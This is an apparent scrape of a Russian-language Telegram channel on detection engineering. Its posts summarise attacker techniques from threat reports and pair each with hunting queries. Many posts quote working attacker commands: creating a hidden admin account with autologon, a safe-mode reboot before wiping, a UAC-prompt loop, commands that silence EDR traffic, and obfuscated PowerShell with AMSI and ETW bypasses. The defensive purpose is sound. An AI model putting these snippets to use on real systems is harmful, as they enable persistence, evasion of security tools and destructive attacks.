Detection is easy
1.23K subscribers
77 photos
2 videos
9 files
192 links
chat: https://t.me/+BF4T6DOGv_UwYTBi
contact: @siemmanager
email: manager@detectioneasy.ru
Download Telegram
Всем привет! 💻✌️

Коллеги из ЛК поделились TTP хактивистских группировок 4BID, BO Team и Red Likho

Для подготовки инфраструктуры к уничтожению запускался ps1-скрипт, одна из возможностей которого создание локального пользователя с параметрами PasswordExpires, Disabled = FALSE и добавление его в группу локальных администраторов


$userName = "[REDACTED]"
$password = "[REDACTED]"
$domain = "."
$userExists = net user $userName 2>$null
$addUser = net user $userName $password /add
wmic useraccount where "name='$userName'" set PasswordExpires=FALSE | Write-Log
wmic useraccount where "name='$userName'" set Disabled=FALSE | Write-Log
$group = (Get-LocalGroup -SID "S-1-5-32-544").Name
net localgroup $group $userName /add | Write-Log


Далее, хост настраивается для автоматического входа с созданным пользователем


Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "AutoAdminLogon" -Value "1" | Write-Log
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultUserName" -Value $userName | Write-Log
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultPassword" -Value $password | Write-Log
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "DefaultDomainName" -Value $domain | Write-Log


Второй индикатор подготовки к уничтожению — перевод системы в безопасный режим с сетью:


cmd.exe /Q /c bcdedit /set {current} safeboot network && shutdown -r -f -t 0 1> \Windows\Temp\WsMeHC 2>&1


🔭 Обнаружение:
🔤 мониторинг создания локальных пользователей и их добавления в группу администраторов
🔤 хантим ключи реестра SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
🔤 отслеживаем запуск bcdedit /set {current} safeboot network

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
6🔥75👍4
Всем привет! 💻✌️

В фишинговой кампании по распространению UDPGangster 🔫 злоумышленники использовали интересный способ закрепления в системе

👨‍💻 Как это работает?

Атакующие часто используют директорию автозагрузки пользователя. Путь к ней задаётся в реестре:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup

Если изменить значение этого ключа — Windows начнёт запускать программы уже из нового пути, что позволяет скрытно выполнять бинарь при старте системы

🔭 Обнаружение:

🔤 отслеживаем изменения ключа реестра HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup

p.s. можем похантить, найдется что-то интересное...

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥6
Detection is easy
И, судя по отчёту, этот функционал запускается в цикле до тех пор, пока пользователь не согласится выдать привилегии
Всем привет! 💻✌️

Помните, в одном из отчётов упоминалось, что атакующие при попытке UAC Bypass использовали запуск PowerShell-скрипта (.ps1) в цикле, пока пользователь не согласится 🔫

У этого приёма есть отдельное название — UAC Loop

👨‍💻 Как это работает:

Уведомление о повышении привилегий появляется у пользователя снова и снова до тех пор, пока он не нажмёт Да

Больше похоже на психологический террор)

POC код:


do {
try {
Start-Process notepad.exe -Verb RunAs -ErrorAction Stop
break
} catch {
Start-Sleep 1
}
} while ($true)


🔭Обнаружение:

🔤Запуск consent.exe более одного раза, будет сильно фолсить
🔤Для powershell отслеживаем
Provider="Powershell" AND Eventid=800 AND EventData contains "Verb RunAs"

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥8😁51
Всем привет! 💻✌️

Атакующие загружали вредоносные расширения в браузер для кражи данных

👨‍💻 Как это работает?

В Chromium-based браузерах ранее поддерживался аргумент командной строки --load-extension, который позволял запускать браузер с указанием пути к расширению
Позднее данный аргумент был скрыт, однако его всё ещё можно было использовать, если отключить соответствующее ограничение с помощью флага:


--disable-features=DisableLoadExtensionCommandLineSwitch


Таким образом, атакующие могли перезапускать Chrome или Edge с уже загруженным вредоносным расширением без необходимости установки через официальный магазин

В актуальных версиях Chromium данный способ уже не работает

🔭 Обнаружение:

🔤 Хантим аргументы командной строки


ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and Image endswith "chrome.exe" and CommandLine contains "--load-extension"


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥8
Всем привет! 💻✌️

Интересный LPE, но что нам с этим делать?

🔭 Обнаружение:

🔤 утилита zabbix_get, как правило используется с сервера zabbix, который в большинстве своем развернут на Linux. Построим на этом детект

ProviderName="Microsoft-Windows-Sysmon" and EventId=1 and (Image endswith: '\zabbix_get.exe' or Description = "zabbix_sender.exe")


p.s. хосты админов могут фолсить

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥10👍2🤔1
Всем привет! 💻✌️

С наступающим Новым годом!

Канал создавался как место для обмена информацией об обнаружении: практическими наблюдениями, идеями, рабочими и нерабочими подходами. Не было цели собирать аудиторию и без ожиданий по росту. Тем не менее, за этот год количество подписчиков оказалось неожиданным — и это хороший сигнал, что тема detection по-прежнему востребована

В 2026-м желаем всем:
✔️ Всегда True Positive
🙅‍♂️ А False Negative у нас не бывает 💩

Пусть детекты будут простыми, воспроизводимыми и объяснимыми
Логи — полными, а use case — проверяемыми

Спасибо всем, кто читает и использует материалы в работе!)

#detection@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥185👍4
Всем привет! 💻✌️

Многие правила обнаружения строятся на событиях ключей реестра в HKCU, которые формируются на основе данных от callback - CmRegisterCallbackEx

При этом в Windows существует механизм обязательных (mandatory) пользовательских профилей, который может быть использован атакующим в качестве закрепа

👨‍💻 Как это работает?

Профили пользователей становятся обязательными, когда администратор переименовывает файл NTUSER.dat в NTUSER.man. Расширение .man делает профиль пользователя доступным только для чтения и имеет высший приоритет


При входе пользователя в систему загрузится профиль из файла NTUSER.MAN - никаких операций записи в реестр не происходит

Атакующим нужно подготовить профиль пользователя с изменными ключами реестра

🔭 Обнаружение:

🔤 отслеживанием создание файлов NTUSER.MAN в %USERPROFILE%

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
4🔥9👍4🤔2
Всем привет! 💻✌️

ipurple собрали в одну статью способы нарушения канала связи средств обнаружения базовыми возможностями Windows

🔤 Использование windows filtering platform
🔤 Файл hosts

Add-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 edr.domain.com"
Add-Content -Path "C:\Windows\System32\drivers\etc\hosts.ics" -Value "127.0.0.1 edr.domain.com"


🔤 Изменение таблицы маршрутизации

Get-NetIPInterface
New-NetRoute -DestinationPrefix "192.168.100.0/32" -InterfaceIndex 1 -PolicyStore ActiveStore


🔤 Изменение Name Resolution Policy Table

Add-DnsClientNrptRule -Namespace ".endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Add-DnsClientNrptRule -Namespace "endpoint.security.microsoft.com" -NameServers 127.0.0.1 -Comment "Silenced by Name Resolution Policy Table"
Clear-DnsClientCache


🔤 Правила фильтрации IPSec

netsh ipsec static add policy name=ipurplePolicy description=ipurplePolicy
netsh ipsec static set policy name=ipurplePolicy assign=y
netsh ipsec static add filteraction name=BlockFilterAction action=block
netsh ipsec static add rule name=BlockRule policy=ipurplePolicy filterlist=BlockFilterList


🔤 Secondary IP Addresses. Интересный способ - назначать IP-адреса серверов управления EDR на локальный интерфейс хоста

🔭 Обнаружение пошагово рассмотрено в статье со скринами

p.s. хантим адреса и доменные имена наших серверов управления в артефактах сетевой подсистемы Windows и в откинутых сетевых соединениях)

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥10👍3
Всем привет! 💻✌️

Выглядит интересно ⁉️ https://github.com/MHaggis/Security-Detections-MCP/tree/main

🔤 Единый поиск по правилам
🔤 Быстрый ответ на вопрос «**что у меня уже есть для детекта этой атаки?**»
🔤 Анализ покрытия. Показывает, какие техники ATT&CK закрыты
🔤 Генерация идей для новых детектов по недостающим техникам

Пока не тестил, но в беклоге лежал такой проект и под него копились разные правила и репозитории...)

Мой MCP был такой grep -Eri <regexp> <repos_path>

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥9👍1
Всем привет! 💻✌️

Давайте рассмотрим интересные техники из отчёта о ClickFix

🔤 Для хранения полезной нагрузки используется смарт-контракт BNB Smart Chain. JavaScript загружает данные из смарт-контракта и передаёт их в eval(atob(*)). Способ хранения малвари в смарт-контрактах известен как EtherHiding

🔤Злоумышленники не используют чистый запуск cmd, mshta, или powershell. Вместо этого они перешли на LoTL-технику с использованием SyncAppvPublishingServer.vbs

🔭 Обнаружение:
🔤 можем отслеживать наличие в аргументах командной строки \SyncAppvPublishingServer.vbs и ;

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥7👍5😁2
Forwarded from CyberSecurityTechnologies
Detection_Engineering_Cheatsheet.pdf
1.3 MB
#Infographics
#Blue_Team_Techniques
"Detection Engineering Cheatsheet", SANS 2026.

// This poster provides a practical, end-to-end view of Detection Engineering, guiding defenders from raw log data to meaningful alerts
13👍8🔥4🤔3
Всем привет! 💻✌️

После месячной раскачки — возвращаемся к практике

Начнем с отчета о действиях группировки APT-Q-27

❗️Атакующие используют непривычные расширения exe или scr, а расширение pif

У большинства жертв в Windows скрыто отображение расширений файлов. В результате Проводник показывает только имя файла, и pif выглядит менее подозрительно

👨‍💻 Как это работает?

🔤 Пользователь получает ссылку на файл вида hxxps://storage[.]googleapis[.]com/iwantuu/photo202512.pif#image2025-12-29-14-53.jpg

Для отвода внимания жертвы в конце URL установлен идентификатор фрагмента #image2025-12-29-14-53.jpg

🔤 По ссылке загружается дропер с расширением .pif

🔤 После запуска он получает список адресов для загрузки остальных шагов из файла
hxxps://yyupdats[.]s3.ap-southeast-1.amazonaws.com/updat.txt

🔤 Далее TTP мимикрируют под процесс обновления Windows

Файлы сохраняются в каталог C:\Users\Admin\AppData\Local\\Microsoft\WindowsUpdate\\Cache\WU_20251230_67e65f7b@27 и ему устанавливаются атрибуты Hidden и NotContentIndexed

Используется файл updat.exe - (64B07B1C385CF94A3559E323009F7641) легитимный файл, который нужен для детонации полезной нагрузки из crashreport.dll

🔤Вредонос закрепляется в ключе HKCU\Software\Microsoft\Windows\CurrentVersion\Run текущего пользователя

🔤Далее происходит распаковка backdoor из файла, который создает службу с именем Windows EventN. Путь к запускаемому файлу C:\\Users\\<User>\\Videos\\<random_string>@27

🔤Отключается UAC, путем изменения ключей реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\{EnableLUA, ConsentPromptBehaviorAdmin, PromptOnSecureDesktop}


🔭 Обнаружение:
🔤 отслеживаем создание файлов и создание процессов с расширением pif
🔤 хантим наличие директорий с @ в имени
🔤 хантим наличие директорий с атрибутом Hidden и/или NotContentIndexed
🔤 отслеживаем и хантим наличие служб с исполняемым файлом в пользовательских директориях
🔤 отслеживаем и хантим изменение ключей реестра UAC

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥9👍62
Всем привет! 💻✌️

Cisco Talos опубликовали отчет о TTP группировки UAT-8099

👨‍💻 Как это работает?

🔤 После получения доступа выполняют команды для анализа хоста - whoami, tasklist

🔤 Для закрепления устанавливают SoftEther VPN и создают учетную запись, маскирующуюся под сервисную, mssql$ (в дальнейшем логин менялся, однако IOA оставался тем же)


cmd /c net user mssql$ AppleHuitar7$ /add
cmd /c net localgroup administrators mssql$ /add
cmd /c net user mssql$ /expires:never


🔤 Один из инструментов атакующих - GotoHTTP
Загружают через PowerShell Invoke-WebRequest https://.*/*.vbs
и запускают cmd /c C:\Users\Public\zcgo1.vbs

🔤 Конечная цель атакующих — внедрение кода в IIS

🔭 Обнаружение:
🔤 отслеживаем запуск whoami и net user|localgroup
🔤 хантим и отслеживаем создание пользовательских учетных записей с последним символом $
🔤 отслеживаем EventId=4624 and LogonType in [3, 10] and TargetUserName endswith $
🔤 мониторим использование RMM Tool
🔤 отслеживаем запуск дочерних процессов (cmd.exe, powershell.exe, etc) от родителя w3wp.exe
🔤 отслеживаем создание новых *.aspx
🔤 создание странных файлов в C:\Users\Public

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥9👍5😁2
Всем привет! 💻✌️

ClickFix уже многим успел надоесть, однако атакующие продолжают активно продвигать этот метод

Кто-то ещё не заблокировал запуск окна Выполнить ⌨️

👨‍💻 Как это работает?
Атакующие резолвят определенный домен через подконтрольные DNS сервера. Ответ сервера парсится и передается на выполнение LOLBins

🔭 Обнаружение:
🔤 отключаем Выполнить
🔤 хантим RunMRU и мониторим создание новых ключей
🔤 разрешаем подключение только к доверенным DNS-серверам
🔤 хантим DNS-ответы

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥13👍4
Всем привет 💻✌️

Коллеги PT ESC раскрыли техники, используемые для распространения LuciDoor и MarsSnake.

👨‍💻 Как это работает?

🔤 как правило, атака начинается с фишинга, в рамках которого доставляется файл .doc с макросом. Содержимое документа побуждает пользователя нажать Включить содержимое

🔤 закреп через задачу. Путь к сохраняемому бинарному файлу зависит от прав пользователя

обычный пользователь — %AppData%
администратор — %ProgramData%\Microsoft OneDrive\setup\


🔤 используемые злоумышленниками библиотеки маскируются под легитимные файлы Windows (заполняются поля описания и метаданные)

🔤 использование утилиты ftp для запуска команд - FTPlnk_phishing

🔭 Обнаружение:
🔤 мониторинг запуска ftp.exe -::s: и анализ дочерних процессов ftp.exe
🔤 поиск файлов с описанием, содержащим Windows или Microsoft, и отсутствующей/невалидной подписью

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
7🔥11👍6
Всем привет 💻✌️

Разбирем PhantomProxyLite группы Head Mare, по исследованию ЛК

👨‍💻 Как это работает?

🔤 в ранних кампаниях PhantomProxyLite был бинарником, который работал как фоновый сервис с именем SSHService и поднимал обратный SSH-туннель к C2

🔤 в новой кампании инструмент переписали на PowerShell: закрепление теперь делается через задачу Планировщика с тем же именем SSHService, запуск при старте системы от имени SYSTEM

🔤 функционал закрепления - создание SSH-туннеля. Параметры для запуска хранятся в ключе HKLM\SOFTWARE\SSHService

❗️В исследовании не уточняется, какой сервис прокидывали через SSH-туннель, поэтому в качестве наиболее вероятного сценария будем рассматривать RDP

🔭 Обнаружение:

🔤 создание задачи и службы с именем SSHService. Можем похантить задачи с powershell

🔤 исходящие сессии (sysmon 3, security 5156) на порт 22. При наличии IDS,NTA исходящие ssh соединения

🔤 отслеживаем запуск нативного ssh клиента C:\Windows\System32\OpenSSH\ssh.exe

🔤 RDP-сесиию из туннеля мы можем увидеть в логах Microsoft-Windows-TerminalServices-LocalSessionManager/Operational AND EventId=24 AND Address contains ::%16777216
а также
Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin AND EventId=1158 AND Param1=::%16777216

🔤 аномалией может стать Security AND EventID=5156 AND SourceAddress contains ::1 and DestAddress contains ::1 and DestPort=3389

#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
6🔥104👍4
10🔥12🤣94🤬2
Всем привет 💻✌️

Elastic Security Labs разобрали кампанию ClickFix, которая заканчивается установкой кастомного RAT MIMICRAT

По цепочке видно высокий уровень OPSEC: компрометация легитимных сайтов как инфраструктуры доставки, многоступенчатый PowerShell, затем bypass ETW + AMSI, после чего дропается Lua-лоадер, исполняющий шеллкод в памяти

👨‍💻 Как это работает?

🔤 доставка осуществляется через ClickFix, в результате которого выполняется обфусцированный Stage 1 — PowerShell-скрипт


powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt);


🔤 Stage 2 - загруженный скрипт обфусцирован арифметическими операциями


$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))


🔤 ETW Bypass путем изменения .NET класса


[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)


🔤 AMSI Bypass


[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)



🔤 AMSI - Memory Patching. После отключения обнаружения в %ProgramData%/knz_{random} дропнут архив с Lua loader


$ScanContent_func = [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetMethods("NonPublic,Static") | Where-Object Name -eq "ScanContent"
$tttttttttt = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq "FHVcGSwOEM"

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
0,
[long]$ScanContent_func.MethodHandle.Value + [long]8,
1
)


🔤 доставка Lua loader


$extractTo = Join-Path $env:ProgramData ("knz_{0}" -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')


🔭 Обнаружение:

🔤 запуск PowerShell в минимальном режиме powershell.exe -WInDo Min

🔤 отслеживание длинных символьных последовательностей в логах PowerShell

🔤 в логах PowerShell Reflection.Assembly, System.Diagnostics.Eventing.EventProvider, PSEtwLogProvider, System.Management.Automation.AmsiUtils, GetRandomFileName, IO.Compression.ZipFile, -join [char[]]

🔤 создание файлов exe,zip в %ProgramData%

p.s. детекты от elastic:

Execution via Obfuscated PowerShell Script
DNS Query to Suspicious Top Level Domain
Suspicious Command Shell Execution via Windows Run
Token theft and impersonation
Potential Privilege Escalation via Token Impersonation
Shellcode Execution from Low Reputation Module


#detection@detectioneasy
#ttp@detectioneasy
Please open Telegram to view this post
VIEW IN TELEGRAM
8🔥12👍3